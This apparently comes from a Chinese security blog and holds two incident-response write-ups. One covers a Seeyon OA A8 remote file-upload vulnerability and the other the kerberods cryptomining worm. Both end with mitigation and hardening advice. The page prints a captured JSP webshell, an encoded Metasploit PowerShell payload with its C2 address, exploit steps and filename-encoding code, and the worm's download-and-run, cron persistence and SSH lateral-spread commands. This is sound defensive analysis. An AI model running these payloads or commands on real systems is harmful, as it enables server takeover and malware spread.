about 3 results (0.02 seconds)

致远 OA A8 远程代码执行漏洞的应急报告

by LauCyun Jun 27 01:52:02 24,422 views

还有三天 HW 行动就要 Game Over,但是红队的攻击越发凶猛,各种藏着捂着的招式都使用出来了,这可不又捕获一只在野的致远 OA 系统 0dayWeary Cat FaceWeary Cat Face

0x0 溯源

根据告警信息及系统日志,发现如下图所示的木马文件:


图1 木马文件

其内容如下:

<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp+"\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();} %><%if("asasd3344".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd")) + "</pre>");}else{out.println(":-)");}%>

通过分析日志,提取出攻击者的相关操作行为,如下图所示:


图2 攻击行为

发现红队使用执行 Powershell 命令,命令如下:

pwd=asasd3344&cmd=cmd /b /c start /b /min powershell.exe -nop -w hidden -e aQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewAkAGIAPQAkAGUAbgB2ADoAdwBpAG4AZABpAHIAKwAnAFwAcwB5AHMAbgBhAHQAaQB2AGUAXABXAGkAbgBkAG8AdwBzAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACcAfQBlAGwAcwBlAHsAJABiAD0AJwBwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAJwB9ADsAJABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBTAHQAYQByAHQASQBuAGYAbwA7ACQAcwAuAEYAaQBsAGUATgBhAG0AZQA9ACQAYgA7ACQAcwAuAEEAcgBnAHUAbQBlAG4AdABzAD0AJwAtAG4AbwBwACAALQB3ACAAaABpAGQAZABlAG4AIAAtAGMAIAAmACgAWwBzAGMAcgBpAHAAdABiAGwAbwBjAGsAXQA6ADoAYwByAGUAYQB0AGUAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAFMAdAByAGUAYQBtAFIAZQBhAGQAZQByACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARwB6AGkAcABTAHQAcgBlAGEAbQAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AKAAsAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAnACcASAA0AHMASQBBAEgALwBUAEUAbAAwAEMAQQA3AFYAVwBiAFcAKwBiAFMAQgBEACsAbgBFAGoANQBEADYAaQB5AEIAQwBpAE8AagBWAE8AbgBUAFMATgBWAE8AcgBBAGgAeAByAFYAVABVADIAegBzADIARwBlAGQATQBLAHgAaAA0ADIAVQBoAHMATQBRAG0AdgBmADcAMwBtADcAVQBoAFQAYQAvAHAAWABYAHYAUwBJAFMAVAAyAFoAVgA2AGUAbQBYAGwAMgBoADMAVgBPAFAAWQBaAGoASwBuAGkASgBKAFgAdwArAE8AVAA0AGEAdQBhAGsAYgBDAFYATABOAHUAMgBqAFgAaABkAG8AcQBVAE8AUwBqAEkAMQBpAHUAWgBmAGQATwBJAEwAdwBYAHAASQBXAGEASgBOADAANABjAGoARgBkAFgAbAAxADEAOABqAFIARgBsAEIAMwBtAGoAVwB2AEUAMQBDAHgARAAwAFkAcABnAGwARQBtAHkAOABLAGMAdwBEAFYARwBLAHoAagA2AHUANwBwAEQASABoAE0AOQBDADcAWQAvAEcATgBZAGwAWABMAGkAbgBGAGkAbwA3AHIAaABVAGcANABVADYAbgBQADkAdwBhAHgANQAzAEkAcwBEAFQAcwBoAG0ARQBuAGkANwA3ACsATAA4AHUASwBzAHQAVwB6AG8AOQA3AGwATABNAGsAbQAwAGkANAB5AGgAcQBPAEUAVABJAHMAcgBDAEYANQBrADcASABCAGMASgBrAHMAUQBoADkAdABJADQAaQA5AGUAcwBNAGMAWAAwADkAWABsAGoAUQBqAE4AMwBqAFcANwBBADIAZwBNAGEASQBoAGIARwBmAGkAYgBLAEUAQQBXADgASwBXAEoANQBTAG8AVgA5AFAATgB6AEEAWQBWAHMAUwBZAFQAaABLAFkAMAAvADEALwBSAFIAbABtAFYAZwBYAEYAdAB6ADAAWQByAG4AOABUAFYAcQBVAGYAagAvAGwAbABPAEUASQBOAFUAegBLAFUAQgBvAG4ATgBrAG8AZgBzAEkAZQB5AFIAcwArAGwAUABrAEcAZgAwAEgAbwBKAFcAagBaAEwATQBRADIAVwBzAGcAeABpAEQALwBFAEcAUwBUAFcAYQBFADEASQBYAGYAcwBXAE0AZABJAE8AMgBWAGQAWgArAFYAawBsADYAcgBnAFIAUwBJADUAYgBLAGQAYQBqAGoAQwAzAEUATwBZAHoAOABuADYASwBBAHAAdgBnAEMAVQAxADEANgBHAHAANgB3AC8ASgBPADcATAB5AGYASABKADgAYgBxAGkAeQByADMAZABmAGsANABWAEcAQgAwAHQAOQBtAE0ARQAyAEsAUgBSAG4ATwBHADkAMgBIAHQAQgBxAFEAdABEADgATwBLAHkATwBDADEAZwBXAGgAdQBuAE8AWgBLAFgAVAA1AGsAVgBhAGsAaQA3AHEALwA5AFkAdgBWAFgASgBnAGkAVABoADUARgBzADQATQBmAGEAWABvAEYARABXAHMAZwBaAFYANQBzAHMALwBwAG0AUQBYAHIAVABGAEYAMwBZAEsANgBFAGYAWQBxADEAawBrAHYANQBSAGUAdABDAGQAcQBIADEANgBqAEUAYgBnAEMAUgBKAEoAWQBiAHkATwA4AGkAZwBnAEsAWAA4AFkAegB4AE0AbgArAG4AcABrAGUAWQBQAGUAbABxAE8AUwBZACsAUwBsAFUAUABhAHAAUQBCAEsAaQBpAGYALwBDADIAWQBRAHgARQBrADAAYQBSAEQARgBFAEYAKwBEAG4AUABnAFgAVwAwAE4AWABFAGUAVgBkAE0AbgB2AG8AdgBMAE8ANQB5AEEAawBkAG8AaQBiAFoAWABWAGgAbABNAE4AaAA4ACsAcQBDAGoAVgB5AEMALwBMAHEAZwAwAGcAeQBYAFcAMgByAE8ANAB2ADEAUQAvAEEAcAAzAG0AQgBPAEcAUABUAGQAagBsAGIAbQBsAFgASwBhAHgAZABOAGUASgBhAGMAYgBTADMASQBPAEsAUQBlAGgAagBPADAARQBlAGQAZwBuAFAAUgBGADMAbwBZAFIAOQBwAGgAWQAyAEQAeQBxADMANABZAGgANAA2AEwAaQBGAHcAQQBzAEQAUwBBADkAUQBCAFYAbgBqADgATgB1AE0AOABTAEEARQBoAHIANwBuAGMAcwBCAEUAegBvADQAUwBnAEMARQBUADIAWgA5ADQAZwBiAGcAQQBuAHYASwBUADUAbgBqAGQAdQBnAEgAegB4AGIALwBnAHEARgBoADgAbwB5AHgATgBSAFoAZQBBAFoATwBxAGkAdQBUAFcASgBXAEYAeAB5AGMATQByAGcANQBlAEYASgBKADgASgA5AGMAUAA3ADgAdwBBAEUAUQBuAFIAVwBVAE4AcABPAHAAVQBMAEwAUwBDAGMAVABMAFgASAB2AFUAZAA1ADIASwBaAGsASAAzADQASwBZAFAAUQBqAFQAUwBPAE4ARABkAEQAYgA5AHEASABxADAARgA2ADEAZABSAHgAOQAyAEwAVQBqAFIAOQBWAGUASABUAGoAawArAFYAbwA5AHMAUwBaAG0AMABPAC8AVAAyAHkAVAAyAGIAYwA2AEgAawB6AEMAMABNAFEAdABNADQAQgA1AE0AZABHAEQARQBWAE8AUwBEACsATgB4AHIAMgA5ADMAZQAyAHIAYQAzAFkAVgByADEAYwB4AE0AdgBhAGMAVgBWAGsAdABUAHYAUgA1ACsANgAvAFMAMQB5AFEAVAAwAGMARwBkAGcAMwBlADEATQAxAGQAZQBpAFkAQgBiAGMAZAByAGIAbQBLAEoAeQBaADQASwBnAHoAQwBNAHcAQQB2AHAAbwBaAGUAcABvAHkAVgB3AEoATgBNAFQAbwBEAFcAdwB0ADEAcgBLAGkAQgBiAGYAVwBzAGQAbQB0AHUATgBpACsASgBoAGgAOQB0ADAAMQBaADcAMAB5AGQALwBUADMANwAwAGQAcgBzADMAMgA0ADMAVgBtADIARgBmAEQAWQAyAFAAdgB0AEUANgBOAC8AYgA2AEcANgA0AC8AMwAxAHcAUAB1AHYAcAArADcAdgBHADUAZABaAHYAcABXAEEAYwAvAHUAbgBGAHIATwBTAEcAYQBPAG8AawAyADEAWQAyADUANQBTAFIAbQBjAEwAbwBOAEwARwBmAFEAYgBCAHUAaABCAHUAcwBtADMAZwAwAFMAdQB3AGwAUABxADkAVgAvAG8AUAA3AGoAawBGAHcAKwBEAGcARwB1ADUAYwB6ADcARwBNADMATgBBAEIAVwBCAGEAcQBtAHEAZgBVAHUASgB2AGQAcAAyAFYAUABYADYAcgBVAGYAbgA0ADQAdQBOAE0AWQBHADEAegBkAGkAawBPADIAdQBWAEQAUAAzAGkAdAB0AGQAOAA1AHcAdwB4AFMAbQBMAFYAMABsAFgAVgBJAEgAQQBXAEkAOQBYAGQAZABwAHUAdABhAGYAegBCAGMAaQA2AHMAaQBhADcAcwBpAG8AbQB5ADIAKwBwADMAegBhADIATwArADkAdABOACsAWgAxAGMAdgAzAGsAVABOAE4AZgB0AFUAZABPAHgAVABkAHAAegBRAHcAMwB3AEYAdgAzADIAQgB2AGQAUABZAFMAOQB5AEgAZQBWADIAMwBYAFIANAAvAHIAbwA2AGIAVAA3AFMARwBYAEYASABuAFYAWgBNAFYAcwAzAFcAQgBIAGYAZgBhAHAAcQBKAFUAZgA5AG0ANgBKAEYANwBEAFcASQBHAEcAeABmAFcASwB1ADYAYwBlACsARQBhAE0ASgBuAEIAcABSAFgATQBZAG4AcgB1AGIAcwBEAHUATgBGAEEAQgBIAGMAUQBIAGQAVgA3ADMAVABkAEQAUgBjAG8ASQAzAGsAOQBNAFoAdAA5AFgAZgBLAGwARgAvAHAAMwBDAGMAVQBmADgAUwBzAEoAMgBYAEcARgBSAEcAegBWAGsAVAA4AEsAbQA5AHIAdAAyAGgAMQA3AFkANQBPAC8AZQBSAG8AVABWAFAAdgBmAGUAdgBPAEcATwBCAHMAagBVADAAZQBQAGUATQBpAGoAOQBxAEgAVQBNADMAegBVAEsAWABBAEUAVwBoAEoAMQBRAFgAZwBoAEcAbgBSAG4AbgBQAGoAMgBMAE0ATgBTAFMASgAvAHgAcABzAFUARQBvAFIAZwBkAFkASwB6AGIAYwA2AFYAeQBvAGgAcwBjAGUAYgBEAEcAOABJADAATgA4AE8AWABZAGMAMwB3AFEAawBNAFgANQArAC8ATwBKAEsARgBKADAASAA1AGEAKwArAHAAbABxADYAdQA1AG8AQQBSAGoAaQBxAGMAcABzAFkAQQAwAFkAQwBGAGQAVwBYADMAVwBsAEcAZwBsAFMAaQA3AHQAZwBJAFIALwBuAHgAWQBuAFQAZwBwAEoARwA2AHAAegBqAHMAUgB6ADAAcABwAG0ATwB3AE4AeQAvAHoANAAxAG4ASgBGAGUANQBqACsAcgA5AGsAcQBMADQAMABRAFAAdgA2AC8AWgBPAHYAcgAyAGoALwBzAC8AbABRAEcAbABmAG8AKwAzAHUAOQBXAHYAMQAzADQAcABYAFQAKwBhAHQAeABUAEYAegBNAFEAdABPAEgATwBJACsAagBRAGIAVgA4AE0AdgArAFQARgBzAHgAKwBSAGYAVQAyAGcANwB1AHYAeQA0AGIAKwBTAEgAMwBOADIAZABnAE0ALwBLAEMAZgBIAGYAdwBIADIAZwB3AHkAdABzAHcAbwBBAEEAQQA9AD0AJwAnACkAKQApACwAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQApACkALgBSAGUAYQBkAFQAbwBFAG4AZAAoACkAKQApACcAOwAkAHMALgBVAHMAZQBTAGgAZQBsAGwARQB4AGUAYwB1AHQAZQA9ACQAZgBhAGwAcwBlADsAJABzAC4AUgBlAGQAaQByAGUAYwB0AFMAdABhAG4AZABhAHIAZABPAHUAdABwAHUAdAA9ACQAdAByAHUAZQA7ACQAcwAuAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQA9ACcASABpAGQAZABlAG4AJwA7ACQAcwAuAEMAcgBlAGEAdABlAE4AbwBXAGkAbgBkAG8AdwA9ACQAdAByAHUAZQA7ACQAcAA9AFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AFMAdABhAHIAdAAoACQAcwApA

对 PowerShell 命令进行分析,确认这个是 MSF 框架生成的 Payload,其CC服务器是114.118.83.230:443。

0x1 复现

1 PoC

访问/seeyon/htmlofficeservlet,如果出现如下特征即为存在:


图3 漏洞验证

2 Exp

用 Burp 发送 POST 请求写入 WebShell,如下图所示:


图4 漏洞利用

如上图所示即为写入 Webshell 成功,访问/seeyon/index1.jsp进一步验证是否写入成功,如下图所示即为成功:


图5 访问WebShell

执行ipconfig命令,如下图所示:


图6 执行命令

最后,补充上传文件名的代码,如下:

import java.io.ByteArrayOutputStream;
import java.io.UnsupportedEncodingException;

public class Main {
    String TableBase64 = "gx74KW1roM9qwzPFVOBLSlYaeyncdNbI=JfUCQRHtj2+Z05vshXi3GAEuT/m8Dpk6";
    public String DecodeBase64(String paramString) {
        ByteArrayOutputStream localByteArrayOutputStream = new ByteArrayOutputStream();
        String str = "";
        byte[] arrayOfByte2 = new byte[4];
        try {
            int j = 0;
            byte[] arrayOfByte1 = paramString.getBytes();
            while (j < arrayOfByte1.length) {
                for (int i = 0; i <= 3; i++) {
                    if (j >= arrayOfByte1.length) {
                        arrayOfByte2[i] = 64;
                    } else {
                        int k = this.TableBase64.indexOf(arrayOfByte1[j]);
                        if (k < 0) {
                            k = 65;
                        }
                        arrayOfByte2[i] = ((byte) k);
                    }
                    j++;
                }
                localByteArrayOutputStream.write((byte) (((arrayOfByte2[0] & 0x3F) << 2) + ((arrayOfByte2[1] & 0x30) >> 4)));
                if (arrayOfByte2[2] != 64) {
                    localByteArrayOutputStream.write((byte) (((arrayOfByte2[1] & 0xF) << 4) + ((arrayOfByte2[2] & 0x3C) >> 2)));
                    if (arrayOfByte2[3] != 64) {
                        localByteArrayOutputStream.write((byte) (((arrayOfByte2[2] & 0x3) << 6) + (arrayOfByte2[3] & 0x3F)));
                    }
                }
            }
        } catch (StringIndexOutOfBoundsException localStringIndexOutOfBoundsException) {
            //this.FError += localStringIndexOutOfBoundsException.toString();
            System.out.println(localStringIndexOutOfBoundsException.toString());
        }
        try {
            str = localByteArrayOutputStream.toString("GB2312");
        } catch (UnsupportedEncodingException localUnsupportedEncodingException) {
            System.out.println(localUnsupportedEncodingException.toString());
        }
        return str;
    }
    public String EncodeBase64(String var1) {
        ByteArrayOutputStream var2 = new ByteArrayOutputStream();
        byte[] var7 = new byte[4];
        try {
            int var4 = 0;
            byte[] var6 = var1.getBytes("GB2312");
            while (var4 < var6.length) {
                byte var5 = var6[var4];
                ++var4;
                var7[0] = (byte) ((var5 & 252) >> 2);
                var7[1] = (byte) ((var5 & 3) << 4);
                if (var4 < var6.length) {
                    var5 = var6[var4];
                    ++var4;
                    var7[1] += (byte) ((var5 & 240) >> 4);
                    var7[2] = (byte) ((var5 & 15) << 2);
                    if (var4 < var6.length) {
                        var5 = var6[var4];
                        ++var4;
                        var7[2] = (byte) (var7[2] + ((var5 & 192) >> 6));
                        var7[3] = (byte) (var5 & 63);
                    } else {
                        var7[3] = 64;
                    }
                } else {
                    var7[2] = 64;
                    var7[3] = 64;
                }

                for (int var3 = 0; var3 <= 3; ++var3) {
                    var2.write(this.TableBase64.charAt(var7[var3]));
                }
            }
        } catch (StringIndexOutOfBoundsException var10) {
            // this.FError = this.FError + var10.toString();
            System.out.println(var10.toString());
        } catch (UnsupportedEncodingException var11) {
            System.out.println(var11.toString());
        }
        return var2.toString();
    }
    public static void main(String[] args) {
        Main m = new Main();
        System.out.println(m.DecodeBase64("qfTdqfTdqfTdVaxJeAJQBRl3dExQyYOdNAlfeaxsdGhiyYlTcATdN1liN4KXwiVGzfT2dEg6"));
        System.out.println(m.EncodeBase64("..\\..\\..\\ApacheJetspeed\\webapps\\seeyon\\test123456.jsp"));
    }
}

0x3 漏洞描述

致远互联是中国协同管理软件及云服务领导供应商,专注专注在协同管理软件领域。致远 A8+ 协同管理软件在很多央企、大型公司都有应用。

致远 A8+ 在某些版本上存在远程 Getshell 漏洞。系统某处在无需登录情况下可直接上传任意文件,攻击者一旦上传精心构造的后门文件即可 Getshell,获得目标服务器的权限。目前利用代码已在野外公开,官方提供的补丁程序仍然可利用。

0x4 漏洞影响

1 危害级别

  • 高危

2 影响版本

  • 致远OA A8-V5 V6.1 SP1
  • 致远OA A8+协同管理软件 V7.0
  • 致远OA A8+协同管理软件 V7.0 SP1
  • 致远OA A8+协同管理软件 V7.0 SP2
  • 致远OA A8+协同管理软件 V7.0 SP3
  • 致远OA A8+协同管理软件 V7.1

3 全球态势

据 ZoomEye 统计,在全球范围内对外开放的致远 OA 资产数多达 29,439 个,其中中国受影响的资产数量有 29,275 个,具体分布情况如下图:


图7 各省分布情况

其中大部分分布在北京、广东、四川、江苏等省,具体如下图所示:


图8 国内TOP 10

0x5 修复建议

1 配置URL访问控制策略

部署于公网的致远 A8+ 服务器,可通过 ACL 禁止外网对/seeyon/htmlofficeservlet路径的访问。

2 修改配置文件

注释Seeyon/A8/ApacheJetspeed/webapps/seeyon/WEB-INF/web.xml中的如下内容,并重启应用程序。

<servlet-mapping>
    <servlet-name>htmlofficeservlet</servlet-name>
    <url-pattern>/htmlofficeservlet</url-pattern>
</servlet-mapping>

2 官方补丁

请尽快联系致远官方,索要官方补丁程序。

厂商官网:http://www.seeyon.com/info/company.html

...

Tags Read More..


挖矿病毒kerberods的分析和应急响应过程

by LauCyun Mar 27 00:28:29 116,559 views

最近,发生大规模挖矿事件,判断为 kerberods 病毒导致,并在第一时间进行了应急处置。

该病毒短时间内即造成大量 Linux 主机沦陷,它的传播方式分为三种,分别是:

  1. 从 known_hosts 文件读取 IP 列表,用于登录信任该主机的其他主机,并控制它们执行恶意命令;
  2. 利用 Redis 未授权访问和弱密码这两种常见的配置问题进行控制它们执行恶意命令;
  3. 利用 SSH 弱密码进行爆破,然后控制它们执行恶意命令。

这三种传播手段都不是第一次用于病毒,但结合在一起爆发出巨大的威力。

因此,本文在分析此次 kerberods 挖矿病毒、提供清理建议的同时,并针对类似的大规模入侵事件的应急和预防给出建议。

该病毒的感染路径如下图所示:


图1 kerberods感染路径

0x1 病毒特征

要判断是否感染此病毒,可从以下几个方面入手:

  1. 查看计划任务中是否存在以下任务信息:
  2. 查看/usr/sbin目录中是否有 kerberods 文件,/etc/init.d/中是否有 netdns 文件,以及/usr/local/lib/中是否有libcset.so文件:
  3. 查看是否有以下进程信息,并且正在消耗大量 CPU 资源:

如果有以上特征,则说明你已经中毒啦Smiling Face with HornsAngry Face with HornsSmiling Face with Horns

0x2 恶意脚本

病毒的传播方式中都需要执行恶意命令,那么其恶意命令的内容是啥呢?如下所示:

(curl -fsSL https://pastebin.com/raw/sByq0rym||wget -q -O- https://pastebin.com/raw/sByq0rym)|sh >/dev/null 2>&1 &

可发现它是执行恶意脚本下载命令,其恶意脚本内容如下所示:

(curl -fsSL https://pastebin.com/raw/tqJjUD9d||wget -q -O- https://pastebin.com/raw/tqJjUD9d)|sed 's/\r//'|sh

又双叒叕是执行恶意脚本下载命令,通过对恶意脚本内容的分析,发现其脚本主要作用是:

  1. 将下载自身的指令添加到 crontab 定时任务,10分钟执行一次;
    echo "*/10 * * * * (curl -fsSL https://pastebin.com/raw/sByq0rym||wget -q -O- https://pastebin.com/raw/sByq0rym)|sh" | crontab -
  2. 杀死同类的挖矿僵尸病毒进程:
  3. 杀死 CPU 占用大于80%的其他进程;
    ps aux|grep -v grep|grep -v khugepageds|awk '{if($3>=80.0) print $2}'|xargs kill -9
  4. 下载并执行恶意程序 kerberods:
  5. 对信任当前主机的机器进行横向传播。
    if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then
      for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h '(curl -fsSL https://pastebin.com/raw/sByq0rym||wget -q -O- https://pastebin.com/raw/sByq0rym)|sh >/dev/null 2>&1 &' & done
    fi

接下来,将通过反编译对病毒进行分析。

0x3 针对kerberods分析

1 脱壳

通过分析发现,该病毒文件还是采用了 UPX 壳,只是对其中的魔数进行了修改,如图8所示:


图8 病毒文件的魔数

只需将其魔数修改一下即可,修改如下图所示:


图9 修改后病毒文件的魔数

修复后,使用upx -d命令进行脱壳,如下图所示:


图10 脱壳

可以看到,已经脱壳成功。

2 还原符号信息

将脱壳后的病毒文件拖进 IDA 进行反编译。

图11 IDA反编译

从图11可发现,函数名都是随机字符串,通过观察字符串可以推断出程序应该是使用 Golang 编写。

由于病毒文件去掉了符号信息,所以这里需要使用符号还原脚本对程序中的符号进行还原,脚本地址是:https://github.com/sibears/IDAGolangHelper

也可以使用@RedNaga表哥编写的脚本,脚本地址:https://github.com/strazzere/golang_loader_assist,若想了解其原理可阅读该表哥的文章《Reversing GO binaries like a pro》

Golang 的版本选择 Go1.10 后,选择重名函数名对其进行还原,如图12所示:


图12 还原函数名

还原后,如图13所示:


图13 还原符号信息

3 分析 kerberods

通过对main_main函数分析,发现它可分为两部分:main_lsdmain_attack

图14 main_lsd函数


图15 main_attack函数

先从main_lsd函数开始分析。

3.1 添加开机启动

如下图中的github_com_hippies_LSD_LSDB_NetdnsWrite函数是将/tmp/kerberods通过github_com_hippies_LSD_LSDC_CopyFile函数拷贝到/usr/sbin/kerberods中,然后在/etc/init.d/中写入netdns文件,最后通过chkconfigsystemctl命令将netdns添加为开机启动项。

图16 写入netdns,并设置为开机启动

发现netdns是一个 Bash 脚本,具体内容如下:

#! /bin/bash
#chkconfig: - 99 01
#description: kerberods daemon
#processname: /usr/sbin/kerberods
### BEGIN INIT INFO
# Provides:     /user/sbin/kerberods
# Required-Start:
# Required-Stop:
# Default-Start:        2 3 4 5
# Default-Stop:         0 1 6
# Short-Description: kerberods deamon
# Description:          kerberods deamon
### END INIT INFO

LocalPath="/usr/sbin/kerberods"
name='kerberods'
pid_file="/tmp/.X11unix"
stdout_log="/var/log/$name.log"
stderr_log="/var/log/$name.err"
get_pid(){
    cat "$pid_file"
}
is_running(){
    [ -f "$pid_file" ] &&/usr/sbin/kerberods -Pid $(get_pid) > /dev/null 2>&1
}
case "$1" in
start)
    if is_running; then
        echo "Already started"
    else
        echo "Starting $name"
        $LocalPath >>"$stdout_log" 2>> "$stderr_log" &
        echo $! > "$pid_file"
        if ! is_running; then
        echo "Unable to start, see$stdout_log and $stderr_log"
        exit 1
        fi
    fi
;;
stop)
    if is_running; then
        echo -n "Stopping$name.."
        kill $(get_pid)
        for i in {1..10}
        do
            if ! is_running; then
                break
            fi
            echo -n "."
            sleep 1
        done
        echo
        if is_running; then
            echo "Not stopped; maystill be shutting down or shutdown may have failed"
            exit 1
        else
            echo "Stopped"
            if [ -f "$pid_file"]; then
                rm "$pid_file"
            fi
        fi
    else
        echo "Not running"
    fi
;;
restart)
    $0 stop
    if is_running; then
        echo "Unable to stop, will notattempt to start"
        exit 1
    fi
    $0 start
;;
status)
    if is_running; then
        echo "Running"
    else
        echo "Stopped"
        exit 1
    fi
;;
*)
echo "Usage: $0{start|stop|restart|status}"
exit 1
;;
esac
exit 0

其是 kerberods 程序的启动、停止、重启、状态检查的管理脚本。

3.2 编译libcryptod.so

从图14可知,在 kerberods 中通过github_com_hippies_LSD_LSDB_LibWrite函数对libcryptod.c进行了编译,并将编译生成后的/usr/local/lib/libcryptod.so设置为预加载动态链接库。

图17 编译libcryptod.c

如下图是libcryptod.c的函数列表:


图18 libcryptod.c函数列表

很明显病毒是通过 hook libc.so中的函数的方式将与病毒相关的信息进行了隐藏。

比如lstat函数,具体如下:


图19 lstat函数

从上图代码可发现,它是 Hook 了系统__lxstat函数,他不能包括khugepageds、libcryptod.so等这几个字符串的文件。

其他几个命令,如readdir也是类似,无法正常返回与病毒相关的结果。

fopen函数更是变本加厉,由于系统查询cpu使用情况和端口占用情况时,都会调用fopen,于是病毒hook了这一函数,使其在读取/proc/stat/proc/net/tcp等文件时,调用伪造函数,如下图所示:


图20 fopen的Hook函数

其中forge_proc_cpu函数,将返回硬编码的字符串,如下图所示:

图21 forge_proc_cpu函数

这种对查看系统状态功能的恶意 Hook,导致用户难以通过简单自查,确定挖矿是否存在以及挖矿进程是哪个。

3.3 定时任务

从图14可知,在 kerberods 中通过github_com_hippies_LSD_LSDC_Cron函数将恶意下载命令添加到/etc/cron.d/root等多个定时任务文件中。


图22 写如定时任务

3.4 写入挖矿程序

kerberods 会通过github_com_hippies_LSD_LSDC_Getcmdnums函数对 khugepageds 的运行状态进行检测,如果未运行则通过github_com_hippies_LSD_LSDB_KWR函数释放挖矿程序 khugepageds 并运行,如下图所示:


图23 释放挖矿程序

3.5 Redis横向传播

kerberods 中关于 Redis 横向传播过程是先遍历内网 IP 和外网 IP,然后利用 Redis 未授权访问和弱密码这两种常见的配置问题进行传播,其过程涉及到的函数有:

main_main
-> main_attack
-> github_com_hippies_LSD_LSDA_Aago
-> github_com_hippies_LSD_LSDA_getiplista
-> github_com_hippies_LSD_LSDA_Aago_func1
-> github_com_hippies_LSD_LSDA_runtwo
-> github_com_hippies_LSD_LSDA_run
-> github_com_gomodule_redigo_redis_DialTimeout

通过对测试机上进行Wireshark 抓包,抓取到的 Redis 攻击行为如下图所示:


图24 扫描Redis服务

通过反编译,其核心逻辑如下图所示:


图25 Redis横向传播的逻辑

通过github_com_gomodule_redigo_redis_DialTimeout函数判断 Redis 服务器是否未授权或弱口令,如果连接成功,则执行redis --version命令进行验证,然后写入病毒下载命令,从而达到横向传播。

3.6 SSH横向传播

kerberods 中关于 SSH 横向传播是遍历内网 IP 和外网 IP,然后对 SSH 服务器进行爆破,其过程涉及到的函数有:

main_main
-> main_attack
-> github_com_hippies_LSD_LSDA_Bbgo
-> github_com_hippies_LSD_LSDA_getiplistb
-> github_com_hippies_LSD_LSDA_bgo_func1
-> github_com_hippies_LSD_LSDA_cmdtwo
-> github_com_hippies_LSD_LSDA_cmd
-> golang_org_x_crypto_ssh_Password
-> golang_org_x_crypto_ssh_Dial
-> golang_org_x_crypto_ssh__ptr_Client_NewSession

通过对测试机上进行Wireshark 抓包,抓取到的 SSH 攻击行为如下图所示:

图26 扫描SSH服务

通过反编译,其核心逻辑如下图所示:


图27 SSH横向传播的逻辑

通过golang_org_x_crypto_ssh__ptr_Client_NewSession函数创建 SSH 会话,如果创建成功,则执行病毒下载命令,从而达到横向传播。

0x4 针对khugepageds分析

通过上面的方法对 khugepageds 进行脱壳,然后拖进 IDA 中进行分析,发现它是 xmrig 挖矿系统。

xmrig项目地址:https://github.com/xmrig/xmrig

图28 xmrig挖矿系统

所以,khugepageds 就没啥好分析的,直接到 Github 看源码即可。

进一步分析,找到其钱包地址:


图29 钱包地址

其钱包地址为:

44qJYxdbuqSKarYnDSXB6KLbsH4yR65vpJe3ELLDii9i4ZgKpgQXZYR4AMJxBJbfbKZGWUxZU42QyZSsP4AyZZMbJBCrWr1

0x5 应急响应方法

1. 已针对病毒开发自动化清理脚本,​脚本地址:

https://git.laucyun.com/security/lsd_malware_clean_tool/blob/master/clear_kerberods.sh

2. 紧急情况下,为避免内网大量传播,可以临时对被感染机器先进行断网隔离处理。

3. 不影响业务的情况下,建议临时删除机器上.ssh/known_hosts和登录密钥文件。

0x6 加固建议

1 Redis加固

病毒程序是通过利用 Redis 未授权访问和弱密码进行植入,所以得做好 Redis 方面的加固,建议如下:

  1. 设置访问密码

    redis.conf中找到requirepass字段进行访问密码设置,举例配置如下:

    ​requirepass password123!@#

    确保密码的复杂度,配置完毕后重启服务即可生效。

  2. 服务运行权限最小化

    请以较低权限账号运行 Redis 服务,并禁用该账号的登录权限。以下操作创建了一个无 home 目录权限,且无法登录的普通账号:

    useradd -M -s /sbin/nologin [username]

    注意:该操作需要重启 Redis 才能生效。

  3. 隐藏重要命令

    Redis 本身是无权限分离,从而容易导致攻击者登录后可执行任意操作,因此需要隐藏以下重要命令:FLUSHDBFLUSHALLKEYSPEXPIREDELCONFIGSHUTDOWNBGREWRITEAOFBGSAVESAVESPOPSREMRENAMEDEBUGEVAL

    另外,在 Redis 2.8.1 及 Redis 3.x (低于 3.0.2) 版本下存在 EVAL 沙箱逃逸漏洞,攻击者可通过该漏洞执行任意 Lua 代码。

    下述配置将configflushdbflushall设置为空,也可设置为一些复杂的、难以猜测的名字。

    rename-command CONFIG ""
    rename-command flushall ""
    rename-command flushdb ""
    rename-command shutdown shotdown_test

    保存后,执行/etc/init.d/redis-server restart重启生效。

2 SSH加固

